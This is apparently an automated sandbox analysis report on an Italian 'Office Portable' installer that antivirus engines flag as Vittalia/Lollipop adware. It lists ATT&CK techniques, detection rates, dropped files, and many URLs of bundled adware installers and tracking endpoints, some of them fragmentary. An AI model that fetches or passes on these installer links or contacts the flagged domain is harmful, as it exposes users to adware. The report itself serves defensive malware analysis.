Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Software Packing11	Security Account Manager	System Information Discovery24	SMB/Windows Admin Shares	Clipboard Data1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Masquerading1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion1	LSA Secrets	Security Software Discovery131	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection12	Cached Domain Credentials	Virtualization/Sandbox Evasion1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	Process Discovery3	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
installer_office_portable_3_2_0_Italian.exe	100%	Avira	ADWARE/Vittalia.AB
installer_office_portable_3_2_0_Italian.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\instloffer.exe	100%	Avira	ADWARE/Lollipop.168664
C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	100%	Avira	ADWARE/Vittalia.AB
C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	68%	ReversingLabs	Win32.PUA.Lolliport
C:\Users\user\AppData\Local\Temp\instloffer.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\instloffer.exe	52%	ReversingLabs	Win32.Adware.Lollipop
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ButtonEvent.dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ButtonEvent.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ToolkitOffers.dll	22%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ToolkitOffers.dll	22%	ReversingLabs	Win32.PUA.ToolkitOffers
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsArray.dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsArray.dll	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\version.dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nshFB42.tmp\version.dll	3%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
3.1.cf2dInstaller.exe.70550000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen7	Download File
0.2.installer_office_portable_3_2_0_Italian.exe.2a28643.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.installer_office_portable_3_2_0_Italian.exe.c0000.0.unpack	100%	Avira	HEUR/AGEN.1109403	Download File
0.0.installer_office_portable_3_2_0_Italian.exe.c0000.0.unpack	100%	Avira	HEUR/AGEN.1109403	Download File
3.2.cf2dInstaller.exe.70550000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
xmlinstcp.ddbbvt.eu	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://media.vitavita.com.es/xmlstatic/installers/software/updater/softwareupdater.exe	4%	Virustotal		Browse
http://media.vitavita.com.es/xmlstatic/installers/software/updater/softwareupdater.exe	0%	Avira URL Cloud	safe
http://www.offerbox.com/it/privacy	0%	Virustotal		Browse
http://www.offerbox.com/it/privacy	0%	Avira URL Cloud	safe
http://coupondropdown.com/terms.phpopen	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/net/dotnetfxsp1x86.exe	0%	Avira URL Cloud	safe
http://www.yontoo.com/TermsOfService.aspxopen	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/uniblue/speedupmypc/eazel/speedupmypc.exe	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpHw7)	0%	Avira URL Cloud	safe
http://www.uplstatsone.com/cmd/geo.php	0%	Avira URL Cloud	safe
http://media.sftvit.com/icoinstall/categories/windows.png	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=newenduserH	0%	Avira URL Cloud	safe
http://www.dealply.com/terms/	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phphttp://xmlinstcp.ddbbvt.eu/cmd/report.phphttp://xmlinstcp.ddbb	0%	Avira URL Cloud	safe
http://www.uplstatsone.com	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/coupish/Coupish_vittalia_eazel.exe	0%	Avira URL Cloud	safe
http://www.eazel.comopen	0%	Avira URL Cloud	safe
http://www.dealply.com/terms/open	0%	Avira URL Cloud	safe
http://www.yontoo.com/PrivacyPolicy.aspxhttp://www.freetwittube.com/termsopen	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/lollipop/LollipopInstaller_vittalia_14618	0%	Avira URL Cloud	safe
http://www.eazel.comArial11.25Arial	0%	Avira URL Cloud	safe
http://www.getpricepeep.com/privacy	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/ads/eazel.html	0%	Avira URL Cloud	safe
http://coupondropdown.com/privacy.php	0%	Avira URL Cloud	safe
http://www.onekit.com/terms-updater.htmlopen	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/report.php?Partne	0%	Avira URL Cloud	safe
http://www.lollipop-network.com/privacy.php?lg=itopen	0%	Avira URL Cloud	safe
http://www.lollipop-network.com/privacy.php?lg=it	0%	Avira URL Cloud	safe
http://ginyas.com/term-privacy/	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/report.php	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpyCw	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/babylon/MyBabylonTB.exe	0%	Avira URL Cloud	safe
http://www.onekit.com/terms-updater.html460	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.php	0%	Avira URL Cloud	safe
http://www.yontoo.com/TermsOfService.aspx	0%	Avira URL Cloud	safe
http://ginyas.com/term-privacy/open	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/babylon/babylonv3.exe	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=enduser&enduser_id=	0%	Avira URL Cloud	safe
http://www.yontoo.com/PrivacyPolicy.aspx	0%	Avira URL Cloud	safe
http://www.getpricepeep.com/privacyopen	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phphttp://xmlinstcp.ddbbvt.eu/cmd/promo_counter.phphttp://xmlinst	0%	Avira URL Cloud	safe
http://www.yontoo.com/TermsOfService.aspxhttp://www.yontoo.com/PrivacyPolicy.aspxopen	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=getofferbyweight&offer_ids=/noempty&weights=/noempty	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/	0%	Avira URL Cloud	safe
http://coupondropdown.com/terms.php	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/babylon/tbb903.exe	0%	Avira URL Cloud	safe
http://www.offerbox.com/it/legal/eulaopen	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/dealply/dp.exe	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phplencodedr	0%	Avira URL Cloud	safe
http://www.freetwittube.com/terms	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/sterkly/Yontoo-C2.exe	0%	Avira URL Cloud	safe
http://www.lollipop-network.com/eula.php?lg=ithttp://www.lollipop-network.com/privacy.php?lg=itopen	0%	Avira URL Cloud	safe
http://www.uplstatsone.com/cmd/IP.php	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/offerbox/eazel/OfferBoxSetup.exe	0%	Avira URL Cloud	safe
http://www.freetwittube.com/termshttp://www.freetwittube.com/privacyopen	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=newenduser	0%	Avira URL Cloud	safe
http://www.offerbox.com/it/legal/eula	0%	Avira URL Cloud	safe
http://www.netratings.com/corp.jsp?section=leg_scs_es&nav=3	0%	Avira URL Cloud	safe
http://www.lollipop-network.com/eula.php?lg=it	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/installers/software/coupondropdown/eazel/CouponDropDown.exe	0%	Avira URL Cloud	safe
http://www.dealply.com/optimize/	0%	Avira URL Cloud	safe
http://www.vittalia.com0	0%	Avira URL Cloud	safe
http://www.offerbox.com/it/legal/eulahttp://www.offerbox.com/it/privacyopen	0%	Avira URL Cloud	safe
http://coupondropdown.com/terms.phphttp://coupondropdown.com/privacy.phpopen	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpI	0%	Avira URL Cloud	safe
http://www.dealply.com/terms/http://www.dealply.com/optimize/open	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/promo_counter.php	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&p	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&program=Office%20Portable%203.2.0%20&parameter=&origen=&of=1279%2C2421&ofSel=1279&ofNos_mi=&ofNos_ot=&ofDis_mi=&ofDis_ot=	0%	Avira URL Cloud	safe
http://www.lollipop-network.com/eula.php?lg=itopen	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpV	0%	Avira URL Cloud	safe
http://services.upd4ter.com/services.php	0%	Avira URL Cloud	safe
http://www.onekit.com/terms-updater.html	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/api.php	0%	Avira URL Cloud	safe
http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&progr	0%	Avira URL Cloud	safe
http://download.upd4ter.com/installers/down.php	0%	Avira URL Cloud	safe
http://srv14.marsads.com/srv/click/?prd_id=254058&pub_id=408&p1=107	0%	Avira URL Cloud	safe
http://www.freetwittube.com/privacy	0%	Avira URL Cloud	safe
http://pf.dlvit.com/s/3/9/39073-91837-office-portable.exe	0%	Avira URL Cloud	safe
http://media.vitavita.com.es/xmlstatic/ads/eazel.htmlShowWebInPage	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
xmlinstcp.ddbbvt.eu	87.106.18.122	true	true	6%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=enduser&enduser_id=<html><head><title>404%20Not%20Found</title></head><body%20bgcolor="white"><center><h1>404%20Not%20Found</h1></center><hr><center>nginx/1.14.2</center></body></html>	true		unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.php	true	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=getofferbyweight&offer_ids=/noempty&weights=/noempty	true	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=newenduser	true	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&program=Office%20Portable%203.2.0%20&parameter=&origen=&of=1279%2C2421&ofSel=1279&ofNos_mi=&ofNos_ot=&ofDis_mi=&ofDis_ot=	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://media.vitavita.com.es/xmlstatic/installers/software/updater/softwareupdater.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.babylon.com/toolbar_blank.html	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.offerbox.com/it/privacy	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://coupondropdown.com/terms.phpopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/net/dotnetfxsp1x86.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yontoo.com/TermsOfService.aspxopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/uniblue/speedupmypc/eazel/speedupmypc.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.babylon.com/info/terms.html#babylon-toolbaropen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.babylon.com/redirects/redir.cgi?type=babylon_toolbar_eulaopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpHw7)	cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://www.eazel.com/lv/afterdownload/view.htm?product=	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.uplstatsone.com/cmd/geo.php	config.xml.3.dr	false	Avira URL Cloud: safe	unknown
http://media.sftvit.com/icoinstall/categories/windows.png	cf2dInstaller.exe, 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp, installer_office_portable_3_2_0_Italian.exe, cf2dInstaller.INI.0.dr	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=newenduserH	cf2dInstaller.exe, 00000003.00000003.332112617.00000000007C3000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504874778.00000000007C3000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://www.dealply.com/terms/	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.phphttp://xmlinstcp.ddbbvt.eu/cmd/report.phphttp://xmlinstcp.ddbb	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://www.uplstatsone.com	config.xml.3.dr	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/coupish/Coupish_vittalia_eazel.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.eazel.comopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dealply.com/terms/open	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.babylon.com/info/terms.html#babylon-toolbar	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.yontoo.com/PrivacyPolicy.aspxhttp://www.freetwittube.com/termsopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/lollipop/LollipopInstaller_vittalia_14618	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.eazel.comArial11.25Arial	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.getpricepeep.com/privacy	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/ads/eazel.html	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.google.com/intl/es_ALL/privacypolicy.html	cf2dInstaller.exe, 00000003.00000003.332151567.00000000007F6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505222952.0000000000812000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332078183.0000000000815000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.271201518.00000000007FB000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505145308.00000000007F6000.00000004.00000001.sdmp, license.rtf.3.dr	false		high
http://www.uniblue.com/privacy/	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://coupondropdown.com/privacy.php	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.onekit.com/terms-updater.htmlopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/report.php?Partne	cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://www.lollipop-network.com/privacy.php?lg=itopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.uniblue.com/software/speedupmypc/eula/open	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.lollipop-network.com/privacy.php?lg=it	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ginyas.com/term-privacy/	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/report.php	cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpyCw	cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/babylon/MyBabylonTB.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.onekit.com/terms-updater.html460	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yontoo.com/TermsOfService.aspx	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ginyas.com/term-privacy/open	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/babylon/babylonv3.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=enduser&enduser_id=	cf2dInstaller.exe, 00000003.00000002.504819806.00000000007BD000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332106974.00000000007BD000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://www.yontoo.com/PrivacyPolicy.aspx	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.getpricepeep.com/privacyopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.phphttp://xmlinstcp.ddbbvt.eu/cmd/promo_counter.phphttp://xmlinst	cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.uniblue.com/software/speedupmypc/eula/http://www.uniblue.com/privacy/open	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.yontoo.com/TermsOfService.aspxhttp://www.yontoo.com/PrivacyPolicy.aspxopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/	config.xml.3.dr	false	Avira URL Cloud: safe	unknown
http://coupondropdown.com/terms.php	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/babylon/tbb903.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.offerbox.com/it/legal/eulaopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/dealply/dp.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.phplencodedr	cf2dInstaller.exe, 00000003.00000002.504569470.0000000000783000.00000004.00000020.sdmp	true	Avira URL Cloud: safe	unknown
http://www.freetwittube.com/terms	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/sterkly/Yontoo-C2.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.lollipop-network.com/eula.php?lg=ithttp://www.lollipop-network.com/privacy.php?lg=itopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.uplstatsone.com/cmd/IP.php	config.xml.3.dr	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/offerbox/eazel/OfferBoxSetup.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.babylon.com/info/terms.html#babylon-toolbarhttp://www.babylon.com/toolbar_blank.htmlopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://www.freetwittube.com/termshttp://www.freetwittube.com/privacyopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	installer_office_portable_3_2_0_Italian.exe, instloffer.exe.3.dr, cf2dInstaller.exe.0.dr	false		high
http://www.offerbox.com/it/legal/eula	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netratings.com/corp.jsp?section=leg_scs_es&nav=3	cf2dInstaller.exe, 00000003.00000003.332151567.00000000007F6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505222952.0000000000812000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332078183.0000000000815000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.271201518.00000000007FB000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505145308.00000000007F6000.00000004.00000001.sdmp, license.rtf.3.dr	false	Avira URL Cloud: safe	unknown
http://www.lollipop-network.com/eula.php?lg=it	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://media.vitavita.com.es/xmlstatic/installers/software/coupondropdown/eazel/CouponDropDown.exe	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dealply.com/optimize/	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	cf2dInstaller.exe, cf2dInstaller.exe, 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000000.248377097.0000000000409000.00000008.00020000.sdmp, installer_office_portable_3_2_0_Italian.exe, instloffer.exe.3.dr, cf2dInstaller.exe.0.dr	false		high
http://www.vittalia.com0	installer_office_portable_3_2_0_Italian.exe, cf2dInstaller.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.offerbox.com/it/legal/eulahttp://www.offerbox.com/it/privacyopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://coupondropdown.com/terms.phphttp://coupondropdown.com/privacy.phpopen	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/geo.phpI	cf2dInstaller.exe, 00000003.00000002.504428459.000000000075A000.00000004.00000020.sdmp	true	Avira URL Cloud: safe	unknown
http://www.dealply.com/terms/http://www.dealply.com/optimize/open	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.babylon.com/redirects/redir.cgi?type=babylon_toolbar_eula	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
http://xmlinstcp.ddbbvt.eu/cmd/promo_counter.php	cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.	cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlinstcp.ddbbvt.eu/cmd/report.php?PartnerId=EAZELIT&OfferId=1279&action=startedInstall&p	cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://www.uniblue.com/software/speedupmypc/eula/	cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	false		high
